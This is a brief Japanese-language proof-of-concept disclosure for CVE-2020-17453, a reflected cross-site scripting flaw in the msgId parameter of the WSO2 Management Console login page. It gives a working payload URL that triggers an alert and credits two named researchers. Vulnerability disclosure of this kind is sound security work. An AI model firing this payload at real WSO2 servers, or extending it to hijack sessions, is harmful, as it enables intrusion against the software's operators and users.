
PoC (概念実証) - CVE-2020-17453
CVE-2020-17453
WSO2 Management Console 5.10 以前では、carbon/admin/login.jsp の msgId パラメータを介した XSS が可能です。

https://<company>.com/carbon/admin/login.jsp?msgId=%27;alert(1)//
名前: Jackson Henry
Twitter: @JacksonHHax
名前: Nicholas Young